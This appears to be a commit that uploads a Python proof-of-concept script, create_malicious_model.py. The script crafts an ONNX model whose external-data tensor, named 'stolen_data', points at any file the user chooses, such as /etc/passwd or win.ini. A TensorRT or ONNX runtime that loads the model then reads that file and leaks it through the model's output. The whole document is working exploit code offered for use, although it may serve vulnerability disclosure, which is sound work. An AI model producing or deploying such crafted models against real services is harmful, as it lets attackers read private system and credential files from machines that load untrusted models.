Upload create_malicious_model.py with huggingface_hub

create_malicious_model.py

@@ -0,0 +1,49 @@
+#!/usr/bin/env python3
+"""
+Create a malicious ONNX model that reads an arbitrary file via TensorRT.
+
+Usage:
+    python create_malicious_model.py /path/to/target/file output.onnx [bytes_to_read]
+
+Example:
+    python create_malicious_model.py C:/Windows/win.ini exploit.onnx
+    python create_malicious_model.py /etc/passwd exploit.onnx 1024
+"""
+from onnx import TensorProto, helper
+import sys
+import os
+
+def create(target_path, output_path, read_bytes):
+    n_floats = read_bytes // 4
+
+    tensor = TensorProto()
+    tensor.name = "stolen_data"
+    tensor.data_type = TensorProto.FLOAT
+    tensor.dims.extend([n_floats])
+    tensor.data_location = TensorProto.EXTERNAL
+
+    for k, v in [("location", target_path), ("offset", "0"), ("length", str(read_bytes))]:
+        entry = tensor.external_data.add()
+        entry.key = k
+        entry.value = v
+
+    X = helper.make_tensor_value_info("input", TensorProto.FLOAT, [n_floats])
+    Y = helper.make_tensor_value_info("output", TensorProto.FLOAT, [n_floats])
+    node = helper.make_node("Add", ["input", "stolen_data"], ["output"])
+    graph = helper.make_graph([node], "exploit", [X], [Y], initializer=[tensor])
+    model = helper.make_model(graph, opset_imports=[helper.make_opsetid("", 13)])
+
+    with open(output_path, 'wb') as f:
+        f.write(model.SerializeToString())
+    print(f"[+] Model saved: {output_path} ({os.path.getsize(output_path)} bytes)")
+    print(f"[+] Target: {target_path} ({read_bytes} bytes)")
+
+if __name__ == "__main__":
+    if len(sys.argv) < 3:
+        print(f"Usage: {sys.argv[0]} <target_file> <output.onnx> [bytes]")
+        sys.exit(1)
+    target = sys.argv[1]
+    output = sys.argv[2]
+    nbytes = int(sys.argv[3]) if len(sys.argv) > 3 else 1024
+    nbytes = (nbytes // 4) * 4  # Must be multiple of 4
+    create(target, output, nbytes)